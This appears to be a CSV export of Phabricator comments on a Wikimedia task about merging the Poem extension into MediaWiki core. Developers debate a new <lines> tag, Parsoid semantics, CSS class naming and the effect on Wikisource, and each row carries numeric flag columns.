+1033912,Merge Poem extension into MediaWiki core,"This zombie bug has lurched to life again because of {T188478}.
+
+Any chance we can come up with a sane semantics for `<poem>`/`<lines>` so that we aren't plunged into eternal darkness by trying to make a Parsoid extension bug-for-bug compatible with `<poem>`?  We have fancy new linting tools that (in theory) could help auto-migrate uses of `<poem>` if we can agree on a better replacement.",,,1521232200,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-bdnotllyeea37ihjkmr3,task_subcomment,,True,c1,3,True,,,245,,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,1,1,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,0,1,1,0,1
+783328,Merge Poem extension into MediaWiki core,"Change 106861 abandoned by TTO:
+Merge Poem extension into core
+
+Reason:
+I don't intend to pursue this anymore. However, reviewers here might be interested in https://gerrit.wikimedia.org/r/328887 and https://gerrit.wikimedia.org/r/328888 .
+
+[[https://gerrit.wikimedia.org/r/106861]]",,,1482494427,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bdnotllyeea37ihjkmr3,task_subcomment,,True,c1,3,False,,,181,,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,1
+783242,Merge Poem extension into MediaWiki core,"I'm not really interested in this anymore. Instead, I might try getting the automatic line numbering functionality requested in T15644 into the Poem extension, which would make the Poem extension a bit bigger and more worthwhile.",,,1482474275,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-bdnotllyeea37ihjkmr3,task_subcomment,,True,c1,3,False,,,181,,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,1,0,1,1,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0
+536857,Merge Poem extension into MediaWiki core,">>! In T54061#1672245, @cscott wrote:
+> In particular, I'm interested in hearing more from @GOIII about:
+>> . . .
+> Lets get a spec for `<lines>` written down in such a way that we can discuss issues like this:
+
+> * Should the tags be forced to be on their own lines?  (The current implementation doesn't force this.)
+Depends. Will the new tag mimic the standard behavior of a <DIV> attribute's //display:block// or the behavior of a <P> attribute's //display:block// under the wiki mark-up/parser/parsoid? 
+
+The whole damnblasted issue comes back first and formost to the auto insertion of an opening <P> tag at every seemingly first detected line start. That's the current quirk; whether or not content placement starts after //or// under the poem tag. In other terms using the basic underlying html when it comes to the <poem> tag, it's ....
+
+<poem>First line
+<p>second line</br>
+third line</br>
+last line</p></poem>
+
+... versus ...
+
+<poem>
+<p>First line</br>
+second line</br>
+third line</br>
+last line</p>
+</poem>
+
+The 2nd version is //closer// to reflecting normal/expected behavior based on the ""substitution"" of <poem> for <div> but its still not quite right because of the attributes <p> automatically follows as defined elsewhere by some number of .css files 'handed down' by mediawiki by default. The optimal ""underlying"" html should behave as a true DIV tag (//display:block//) should and there should be no <P> element or behavior anywhere in play here.
+
+Taking the same two possible placements of content start (immediately after or immediately under) as above but substituting <div> for <poem>, the ""underlying"" html should go something like this ... 
+
+<div class=poem>First line</br>
+second line</br>
+third line</br>
+last line</br></div>
+
+... versus ...
+
+<div class=poem>
+First line</br>
+second line</br>
+third line</br>
+last line</br>
+</div>
+
+Obviously, consensus still needs to be reached whether or not there should be a </br> at the end of the 'last line' found immediately before the closing tag, but regardless of //after// or //under// placement by the contributor, both render the same. The takeaway here should be __killing the presence and/or behavior of that mark-up induced opening <p> tag for any of this to truly be worthwhile imho__.
+ 
+> * Can you write `<lines class=""foo"">`?  Does this override the default ""poem"" and ""mw-lines"" classes, or add to them?  Is this sufficient for the different styling @GOIII describes?  (The current implementation doesn't allow extra classes.)
+Imho, manually adding a class= statement should add or enhance the default. 
+
+> * What should the Parsoid representation be?
+Not sure what exactly you're looking for here
+
+> * What if somebody writes `<pre class=""poem mw-lines"">` in wikitext?  That's valid wikitext.  Should Parsoid try to re-serialize this as a `<lines>` tag?
+Probably not as the <pre> tag introduces background-color and borders which is not likely to be in high demand as far as Wikisource goes. I can't speak for other projects however.
+
+I'm not even sure the current <pre> scheme follows the ""new"" css3 properties of //white-space: pre-wrap// or //white-space: pre-line// for that matter. 
+
+> * Generally styles hard-coded by mediawiki core are prefixed.  The `poem` class is not.
+I would hope the accepted practices and/or appropriate procedures would dictate this.
+
+> * If `<poem>` is aliased to `<lines>`, are we going to break all of wikisource overnight?
+Building an all encompassing testbed on //test2.wikipedia.org// to experiment against prior to roll out seems like the logical way to address such concerns in my view. 
+
+> * Is a recursive parse strategy really appropriate?  It means that `<lines>` and `<pre>` are going to grow additional inconsistencies on the edge cases.  For example, `'''foo<lines>bar'''bat` could get rather confused about its `<b>`s. 
+I'd need more clarity re: the direction ultimately taken regarding the earlier points to reply here 
+
+",,,1443489871,,PHID-USER-fflcyhesfpbopooupqa3,False,,,PHID-TASK-bdnotllyeea37ihjkmr3,task_subcomment,,True,c1,3,False,,,117,,1,1,0,1,1,1,1,1,0,1,1,1,0,0,1,1,0,1,1,1,1,1,0,0,1,0,0,1,1,1,1,1,1,1,1,0,1,0,1,0,0,1,1,1,0,0,1,0,0,1,1,0,0,1,1,1,0,1,1,1,1,0,0,1,1,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,1,1,1,0,1,1,0,1,1,0,1
+534560,Merge Poem extension into MediaWiki core,"In particular, I'm interested in hearing more from @GOIII about:
+> force the opening and closing poem tags to always reside on their own lines
+and
+> ways to use empty inline-blocks to ''handle'' not only stanza spacing; but indentation and eol padding as well. Making attribute manipulation easier through the opening (margin-top) or closing (margin-bottom) tags of Line itself could dramatically cut down on stuff like that.
+Lets get a spec for `<lines>` written down in such a way that we can discuss issues like this:
+* Should the tags be forced to be on their own lines?  (The current implementation doesn't force this.)
+* Can you write `<lines class=""foo"">`?  Does this override the default ""poem"" and ""mw-lines"" classes, or add to them?  Is this sufficient for the different styling @GOIII describes?  (The current implementation doesn't allow extra classes.)
+* What should the Parsoid representation be?
+* What if somebody writes `<pre class=""poem mw-lines"">` in wikitext?  That's valid wikitext.  Should Parsoid try to re-serialize this as a `<lines>` tag?
+* Generally styles hard-coded by mediawiki core are prefixed.  The `poem` class is not.
+* If `<poem>` is aliased to `<lines>`, are we going to break all of wikisource overnight?
+* Is a recursive parse strategy really appropriate?  It means that `<lines>` and `<pre>` are going to grow additional inconsistencies on the edge cases.  For example, `'''foo<lines>bar'''bat` could get rather confused about its `<b>`s. ",,,1443122831,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-bdnotllyeea37ihjkmr3,task_subcomment,,True,c1,3,True,,,116,,1,1,0,1,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,1,1,1,0,1,1,1,0,0,1,0,0,1,1,1,1,1,0,0,1,1,0,1,0,1,0,0,1,0,0,1,1,1,1,1,0,0,0,0,1,0,1,1,1,1,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,1,1,0,1,1,1,1,1,0,1
+534535,Merge Poem extension into MediaWiki core,"From Parsoid's perspective, the biggest problem with `<lines>` is unclear semantics.
+
+I suggest that this patch go through the RFC process first.  Let's write up a document which describes exactly how we want `<lines>` to behave.  We should also discuss deployment strategy in the RFC -- should we turn off support in core until Parsoid and VE also support it?  Or implement stopgap support which doesn't allow editing sections which contain `<lines>` (treating it an an ""unknown extension""), or what?
+
+And what is our strategy for migrating existing `<poem>` content to `<lines>`?  Is there an automatic translation?  Or are some details of the semantics going to trip us up when we try to convert existing content?
+
+As @GOIII states, our paragraph handling in the wikitext parser is already extremely complex, and there are a lot of existing workarounds which depend on details of `<poem>` in order to obtain specific effects in poetry.  If we're going to create a new feature, let's make sure it can actually handle all the things that folks want it to do, without crazy hacks.",,,1443121493,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-bdnotllyeea37ihjkmr3,task_subcomment,,True,c1,3,True,,,116,,1,0,1,0,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,1,0,0,1,1,0,0,1,0,1,1,0,1,1,0,0,0,1,1,0,0,0,1,0,0,1,0,1,1,0,1,1,1,0,0,0,0,1,1,1,1,0,0,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,1,1,0,1,1,1,1,0,1,1
+395536,Merge Poem extension into MediaWiki core,"> **Merge Poem extension into MediaWiki core**
+Well now.... I've found the most interesting patch to watch for 2015.  If //$paragraphStack// is going to have a [greater] role when it comes to Poem's application - I'm sure no harm can ever come of it.
+</sarcasm off>
+
+Seriously - I hope whenever this move goes through, its given a week of vetting on test/test2 before its deployed to the usual suspects in a formal build. And, while I'm of like mind in the assessment it should have never existed in the manner that it has to date & the //Line//s alternative would be the best route to follow - there are sooo many people that depend on it on an almost daily basis just on Wikisource alone that I would not have the nuts to screw around with it like this.
+
+Truthfully, the issues with the tag to date have mostly been over the User:s response on occasion to the parser's `<p><br /></p>` effect compounded by the esoteric formatting typically done via template are both really where the ''blame'' should go than anything found in the extension itself. Admittedly, the choice //not// to force the opening and closing poem tags to always reside on their __own lines__ upon save & rendering starting on day-one with it's introduction sure hasn't helped matters either.
+
+I implore you to mirror `.mw-body`s definition of `P` rather than the one(s) found in `Elements.css` -- those values are all long usurped by the time the page finishes loading its 1st click-in of the session. You'll find that `0.1`//em// less between the two definitions in //margin-top// is hard to catch initially... until the `1.5`em `line-height` setting is replaced [again?]  -- setting it  [back?] to //inherit// that is.
+
+The last thing that comes mind would be more of an enhancement (like in T15644) than a bug . //Had// Poem been crafted to force it's tags to their own line/line-starts, the closing tag of the previous stanza would ''land'' right above the opening tag of the stanza that followed more often than not. This would be desirable because the ''gap'' between verses or stanzas are rarely as small as the predefined paragraph's are. Contributor's frequently came up with all sorts of ways to use empty inline-blocks to ''handle'' not only stanza spacing; but indentation and eol padding as well. Making attribute manipulation easier through the opening (//margin-top//) or closing (//margin-bottom//) tags of //Line// itself could dramatically cut down on stuff like that.",,,1420497073,,PHID-USER-fflcyhesfpbopooupqa3,False,,,PHID-TASK-bdnotllyeea37ihjkmr3,task_subcomment,,True,c1,3,False,,,79,,1,1,0,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,0,1,0,0,1,1,1,1,1,1,1,1,1,1,0,1,1,1,0,1,0,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,1,1,0,1,0,1,1,1,1,1,1,1
+395133,Merge Poem extension into MediaWiki core,"> **Merge Poem extension into MediaWiki core**
+Well now.... I've found the most interesting patch to watch for 2015.  If //$paragraphStack// is going to have a [greater] role when it comes to Poem's application - I'm sure no harm can ever come of it.
+</sarcasm off>
+
+Seriously - I hope whenever this move goes through, its given a week of vetting on test/test2 before its deployed to the usual suspects in a formal build. And, while I'm of like mind in the assessment it should have never existed in the manner that it has to date & the //lines// alternative would be the best route to follow - there are sooo many people that depend on it on an almost daily basis just on Wikisource alone that I would not have the nuts to screw around with it like this.
+
+Truthfully, the issues with the tag to date have mostly been over the User:s response on occasion to the parser's `<p><br /></p>` effect compounded by the esoteric formatting typically done via template are both really where the ''blame'' should go than anything found in the extension itself. Admittedly, the choice //not// to force the opening and closing poem tags to always reside on their __own lines__ upon save & rendering starting on day-one with it's introduction sure hasn't helped matters either.
+
+I implore you to mirror `.mw-body`s definition of `P` rather than the one(s) found in `Elements.css` -- those values are all long usurped by the time the page finishes loading its 1st click-in of the session. You'll find that `0.1`//em// less between the two definitions in //margin-top// is hard to catch initially... until the `1.5`em `line-height` setting is replaced [again?]  -- setting it  [back?] to //inherit// that is.
+
+The last thing that comes mind would be more of an enhancement (like in T15644) than a bug . //Had// Poem been crafted to force it's tags to their own line/line-starts, the closing tag of the previous stanza would ''land'' right above the opening tag of the stanza that followed more often than not. This would be desirable because the ''gap'' between verses or stanzas are rarely as small as the predefined paragraph's are. Contributor's frequently came up with all sorts of ways to use empty inline-blocks to ''handle'' not only stanza spacing; but indentation and eol padding as well. Making attribute manipulation easier through the opening (//margin-top//) or closing (//margin-bottom) tags of //Line// itself could dramatically cut down on stuff like that.",,,1420453788,,PHID-USER-fflcyhesfpbopooupqa3,False,,,PHID-TASK-bdnotllyeea37ihjkmr3,task_subcomment,,True,c1,3,False,,,79,,1,1,0,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,0,1,0,0,1,1,1,1,1,1,1,1,1,1,0,1,1,1,0,1,0,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,1,1,0,1,0,1,1,1,1,1,1,1
+395132,Merge Poem extension into MediaWiki core,"> **Merge Poem extension into MediaWiki core**
+Well now.... I've found the most interesting patch to watch for 2015.  If //$paragraphStack// is going to have a [greater] role when it comes to Poem's application - I'm sure no harm can ever come of it.
+</sarcasm off>
+
+Seriously - I hope whenever this move goes through, its given a week of vetting on test/test2 before its deployed to the usual suspects in a formal build. And, while I'm of like mind in the assessment it should have never existed in the manner that it has to date & the //lines// alternative would be the best route to follow - there are sooo many people that depend on it on an almost daily basis just on Wikisource alone that I would not have the nuts to screw around with it like this.
+
+Truthfully, the issues with the tag to date have mostly been over the User:s response on occasion to the parser's `<p><br /></p>` effect compounded by the esoteric formatting typically done via template are both really where the ''blame'' should go than anything found in the extension itself. Admittedly, the choice //not// to force the opening and closing poem tags to always reside on their __own lines__ upon save & rendering day-one sure hasn't helped matters.
+
+I implore you to mirror `.mw-body`s definition of `P` rather than the one(s) found in `Elements.css` -- those values are all long usurped by the time the page finishes loading its 1st click-in of the session. You'll find that `0.1`//em// less between the two definitions in //margin-top// is hard to catch initially... until the `1.5`em `line-height` setting is replaced [again?]  -- setting it  [back?] to //inherit// that is.
+
+The last thing that comes mind would be more of an enhancement (like in T15644) than a bug . //Had// Poem been crafted to force it's tags to their own line/line-starts, the closing tag of the previous stanza would ''land'' right above the opening tag of the stanza that followed more often than not. This would be desirable because the ''gap'' between verses or stanzas are rarely as small as the predefined paragraph's are. Contributor's frequently came up with all sorts of ways to use empty inline-blocks to ''handle'' not only stanza spacing; but indentation and eol padding as well. Making attribute manipulation easier through //line// itself could dramatically cut down on stuff like that.",,,1420453542,,PHID-USER-fflcyhesfpbopooupqa3,False,,,PHID-TASK-bdnotllyeea37ihjkmr3,task_subcomment,,True,c1,3,False,,,79,,1,1,0,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,0,1,1,1,0,1,0,0,1,1,1,1,1,1,1,1,1,1,0,1,1,1,0,1,0,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,1,1,0,1,0,1,1,1,1,1,1,1
+393913,Merge Poem extension into MediaWiki core,"Change 106861 had a related patch set uploaded (by TTO):
+Merge Poem extension into core
+
+[[https://gerrit.wikimedia.org/r/106861]]
+
+#patch-for-review",,,1419905484,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bdnotllyeea37ihjkmr3,task_subcomment,,True,c1,3,False,,,78,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+237480,Merge Poem extension into MediaWiki core,"(In reply to comment #42)
+> (In reply to comment #38)
+>> A Global Message Delivery to all Wikisource Scriptoriums/Village pump is
+>> higly recommended
+> 
+> MZMcBride, could you advise how feasible this would be?
+
+I think a mention in [[m:Tech/News]] is sufficient here. Nothing is breaking, as I understand it, so this news is purely informational: ""In addition to <poem>, you can also now use <some other tag name>.""
+
+If you really want to send a global message, you can use [[m:MassMessage]].",,,1406091878,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-bdnotllyeea37ihjkmr3,task_subcomment,,True,c1,3,False,,,55,,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,1,1,0,1,1,1,1,1,0,0,0,1,0,0,1,1,0,1,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,1
+237470,Merge Poem extension into MediaWiki core,"(In reply to James Forrester from comment #49)
+> I don't particularly mind it being merged into core from an ""editing"" POV,
+> but it is ""yet another feature"" in MediaWiki core which we're meant to be
+> making leaner, faster and more flexible, which this roughly feels like it
+> goes against.
+> 
+> The Parsoid-land changes aren't too hard to handle, I believe, so that
+> shouldn't block this.
+
+It's also another one of those features that will come in at least slightly handy on almost every wiki, though. It's deployed on a significant percentage of wikis, and on those on which it isn't deployed, the users probably wish it were deployed when they run into situations that call for its use. https://wikiapiary.com/wiki/Extension:Poem
+
+Admittedly, it's not as important as, say, ParserFunctions or Cite (both of which should probably be merged to the core, by the way). But it's not very harmful, either.",,,1406061505,,PHID-USER-h3izjiozzysppsokit7l,False,,,PHID-TASK-bdnotllyeea37ihjkmr3,task_subcomment,,True,c1,3,False,,,55,,1,0,1,1,1,1,0,0,1,0,1,1,0,1,0,1,0,1,1,0,1,1,0,0,1,1,1,0,0,1,0,1,1,1,1,0,0,1,1,0,0,1,0,1,0,0,0,1,0,1,1,1,0,1,0,0,0,1,1,0,1,1,0,0,1,1,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,1,0,1,1,1,1,0,1,1,1,1
+237458,Merge Poem extension into MediaWiki core,"(In reply to Kunal Mehta (Legoktm) from comment #48)
+> (In reply to Tpt from comment #45)
+> > Yes, you have right with ""mw-lines"".
+> > 
+> > I understand your concern with differing functionality that would require
+> > two buttons in the editing interface (it's the major concern I see). I think
+> > we should have feedback from the VisualEditor team.
+> 
+> James, do you/your team have an opinion?
+
+I don't particularly mind it being merged into core from an ""editing"" POV, but it is ""yet another feature"" in MediaWiki core which we're meant to be making leaner, faster and more flexible, which this roughly feels like it goes against.
+
+The Parsoid-land changes aren't too hard to handle, I believe, so that shouldn't block this.",,,1406060775,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-bdnotllyeea37ihjkmr3,task_subcomment,,True,c1,3,True,,,55,,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,1,0,0,0,1,0,1,1,1,1,1,0,1,1,1,0,0,0,1,0,0,0,1,0,1,1,1,0,1,0,0,0,0,0,0,1,0,0,0,1,1,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,0,1,1,0,1,1,0,1
+237448,Merge Poem extension into MediaWiki core,"(In reply to Tpt from comment #45)
+> Yes, you have right with ""mw-lines"".
+> 
+> I understand your concern with differing functionality that would require
+> two buttons in the editing interface (it's the major concern I see). I think
+> we should have feedback from the VisualEditor team.
+
+James, do you/your team have an opinion?",,,1406017589,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-bdnotllyeea37ihjkmr3,task_subcomment,,True,c1,3,False,,,55,,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,1,0,0,1,1,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,1
+237440,Merge Poem extension into MediaWiki core,"Change 106861 restored by Legoktm:
+Merge Poem extension into core
+
+Reason:
+I think this is a valuable changeset that should be pursued.
+
+https://gerrit.wikimedia.org/r/106861",,,1406016597,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bdnotllyeea37ihjkmr3,task_subcomment,,True,c1,3,False,,,55,,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,0,0,0,0
+237435,Merge Poem extension into MediaWiki core,"Change 106861 abandoned by Krinkle:
+Merge Poem extension into core
+
+Reason:
+Closing for now to clear pending review dashboard. Feel free to re-open when you can work on it.
+
+https://gerrit.wikimedia.org/r/106861",,,1405886331,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bdnotllyeea37ihjkmr3,task_subcomment,,True,c1,3,False,,,54,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,0,0,1,0,0,0
+237431,Merge Poem extension into MediaWiki core,"Yes, you have right with ""mw-lines"".
+
+I understand your concern with differing functionality that would require two buttons in the editing interface (it's the major concern I see). I think we should have feedback from the VisualEditor team.",,,1392368977,,PHID-USER-5paybpgtxjrhikdos3p5,False,,,PHID-TASK-bdnotllyeea37ihjkmr3,task_subcomment,,True,c1,3,False,,,32,,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,0,1,0,0,1,1,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,1,0,0,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,0,1,0,0,1,0,0,0
+237428,Merge Poem extension into MediaWiki core,"That's a very good suggestion, Tpt. I would be inclined to call the CSS class something more like ""mw-lines"" or similar, to comply with modern class naming standards.
+
+However I wonder if it is really a good idea to provide differing functionality, however minor, between <poem> and <lines>?",,,1392368471,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-bdnotllyeea37ihjkmr3,task_subcomment,,True,c1,3,False,,,32,,0,1,1,0,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,0,1,0,1,1,0,1
+237425,Merge Poem extension into MediaWiki core,"As I believe that <poem> tag will be kept as an alias forever, it may be interesting to make <poem> and <lines> semantic a little bit different:
+- <lines> would be presentational only and the output will have the ""lines"" class as in <pre class=""lines"">
+- <poem> has the same presentational effect as <lines> but use the ""poem"" class to specify that the content is a poem as in <pre class=""lines poem"">
+
+It won't break sites CSS because the current pages only use the poem tags. If wikis wants to use their custom CSS for <poem> tag with all <lines> tags, they will only have to change ""poem"" by ""lines"" in their rules.",,,1392367071,,PHID-USER-5paybpgtxjrhikdos3p5,False,,,PHID-TASK-bdnotllyeea37ihjkmr3,task_subcomment,,True,c1,3,False,,,32,,1,0,0,1,1,1,1,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,1,1,0,0,0,0,1,1,0,1,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,1,0,0,0,0,1
+237421,Merge Poem extension into MediaWiki core,"(In reply to comment #37)
+> (In reply to comment #31)
+> > 1) In comment 29, Jesús Martínez Novo made a good suggestion to more widely
+> > publicize the new <lines> name before it gets committed.  
+> > A mailing list thread might be a good way to
+> > kick off this discussion.
+> 
+> I'll post one.
+
+http://lists.wikimedia.org/pipermail/wikitech-l/2014-February/074337.html
+
+No replies, so I assume no-one is concerned.
+
+(In reply to comment #38)
+> A Global Message Delivery to all Wikisource Scriptoriums/Village pump is
+> higly recommended
+
+MZMcBride, could you advise how feasible this would be?",,,1392363249,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-bdnotllyeea37ihjkmr3,task_subcomment,,True,c1,3,False,,,32,,1,0,0,1,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,1,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,1,1,1,0,0,1,0,1
+237417,Merge Poem extension into MediaWiki core,"(In reply to comment #40)
+> The <poem/> tag usage on texts that does not contains poems, only the need to
+> parse line breaks in a different behaviour, isn't the feature itself provided
+> by the extension, only a very interesting side effect.
+
+Please read the preceding comments in this bug report. The reason why this tag is going to be made available under the name <lines> is to emphasise that is not only used for poems, but for other texts that require the preservation of line breaks. This is not merely a ""side effect"", but the key feature of this tag.
+
+> IMHO before merging Extension:Poem into core it firstly needs to addresses
+> all
+> expected behaviours in their original expected feature,
+
+A merge of an extension into core, means taking the extension's existing functionality, and placing it in MediaWiki core. It does not mean we add extra features at the same time.
+
+The Poem extension only provides poem-related (line break preservation) functionality, so that is all that core is getting in this merge. This is not the place to discuss other ""original expected features"".",,,1392079227,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-bdnotllyeea37ihjkmr3,task_subcomment,,True,c1,3,False,,,32,,1,0,1,1,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,1,0,1,0,1,0,0,0,1,0,1,1,1,0,0,0,0,0,1,1,0,1,0,0,1,1,1,1,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,1
+237412,Merge Poem extension into MediaWiki core,"The <poem/> tag usage on texts that does not contains poems, only the need to parse line breaks in a different behaviour, isn't the feature itself provided by the extension, only a very interesting side effect.
+
+It looks to me like in very old MediaWiki versions without file undeletion support: media deletion at that time resulted in less disk space being used. But that aren't the feature, only a side effect.
+
+IMHO before merging Extension:Poem into core it firstly needs to addresses all expected behaviours in their original expected feature, ie to provide quickly and in easy ways alternatives to format text portions based in a given form of language.",,,1392077997,,PHID-USER-gu24fgh5wu7isjb4g5b7,False,,,PHID-TASK-bdnotllyeea37ihjkmr3,task_subcomment,,True,c1,3,False,,,32,,1,0,1,1,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,1,1,0,1
+237407,Merge Poem extension into MediaWiki core,"(In reply to comment #38)
+> In the time that <poem/> tag arised on Wikisources, we have also asked for a
+> <prose/> tag (See bug 6810).
+
+That is an entirely separate issue. The presence or absence of a <prose> tag is not going to affect the resolution of this bug.
+
+> As you can see on [3] and [4], the formatting isn't the same currently
+> adopted
+> in <poem/> tag, so the current consensus to set <poem/> as an alias for a new
+> tag name isn't viable.
+
+I don't understand your point here. What has this got to do with the <poem> tag?",,,1392076482,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-bdnotllyeea37ihjkmr3,task_subcomment,,True,c1,3,False,,,32,,0,0,1,0,1,1,1,0,0,0,1,1,0,0,0,1,1,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,0,1,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,0,1,0,1,1,0,1,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,1
+237399,Merge Poem extension into MediaWiki core,"A Global Message Delivery to all Wikisource Scriptoriums/Village pump is higly recommended, since this extension was firtly developed to Wikisource wikis and latter enabled on all Wikimedia wikis [1] [2].
+
+In the time that <poem/> tag arised on Wikisources, we have also asked for a <prose/> tag (See bug 6810).
+
+Unfortunately at that time the developers picked what was most easy to then instead of what is more user intuitive (sorry, but <poem>foo</poem> and {{prose start}}foo{{prose end}} don't makes sense to newcomers (#c6).
+
+As you can see on [3] and [4], the formatting isn't the same currently adopted in <poem/> tag, so the current consensus to set <poem/> as an alias for a new tag name isn't viable.
+
+[1] - https://wikitech.wikimedia.org/wiki/Server_admin_log/Archive_7#June_23
+
+[2] - https://wikitech.wikimedia.org/wiki/Server_admin_log/Archive_10#February_7
+
+[3] - https://en.wikisource.org/wiki/Template:Prose
+
